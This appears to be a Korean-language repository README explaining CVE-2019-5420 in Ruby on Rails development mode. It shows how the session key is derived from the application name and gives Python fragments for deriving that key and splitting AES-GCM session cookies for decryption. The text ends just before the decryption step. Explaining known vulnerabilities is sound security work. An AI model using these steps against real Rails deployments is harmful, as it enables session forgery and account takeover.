j4k0m/cve-2019-5420취약점으로 인해 공격자가 자동 생성된 개발 모드 비밀 토큰을 추측할 수 있습니다.
취약점으로 인해 공격자가 자동으로 생성된 개발 모드 비밀 토큰을 추측할 수 있습니다.
Ruby-on-Rails가 개발 모드에서 실행 중일 때 발생합니다. 개발 모드에서는 공격자가 세션을 보호하는 데 사용되는 키를 추측할 수 있습니다.
Rails는 3가지 환경(development, test, production)을 사용하며, 애플리케이션이 개발 모드를 사용할 때 비밀 토큰을 추측하고 암호화된 세션을 복호화할 수 있습니다.
세션 보호에 사용되는 키는 애플리케이션 이름에서 파생됩니다.
예시:
rails new Jakom
Jakom: 애플리케이션 이름.
이를 통해 키가 생성 메서드의 출력임을 추측할 수 있습니다:
PKDF2_HMAC_SHA1[ MD5 [ APPNAME + "::Application" ] , salt: "authenticated encrypted cookie" , iterations: 1000 , key's length: 32 ]
여기에 표시된 대로:
key = pbkdf2_hmac("sha1", md5_name.encode("utf-8"), "authenticated encrypted cookie".encode("utf-8"), 1000, 32)
Rails에서 세션은 AES-256-GCM으로 암호화되며, 키가 있으면 세션을 복호화/암호화할 수 있습니다.
마지막으로 필요한 것은 세션 형식입니다:
BASE64 [ DATA ] -- BASE64 [ IV ] -- BASE64 [ AUTH_TAG ]
여기에 표시된 대로:
data = binascii.hexlify(base64.b64decode(base64_data.split("--")[0])).decode("utf-8")
iv = binascii.hexlify(base64.b64decode(base64_data.split("--")[1])).decode("utf-8")
tag = binascii.hexlify(base64.b64decode(base64_data.split("--")[2])).decode("utf-8")
세션 쿠키의 첫 번째 부분은 암호화된 데이터, 두 번째 부분은 IV, 세 번째 부분은 GCM 태그(인증 태그)입니다.
이 정보를 사용하여 세션을 직접 복호화할 수 있습니다:
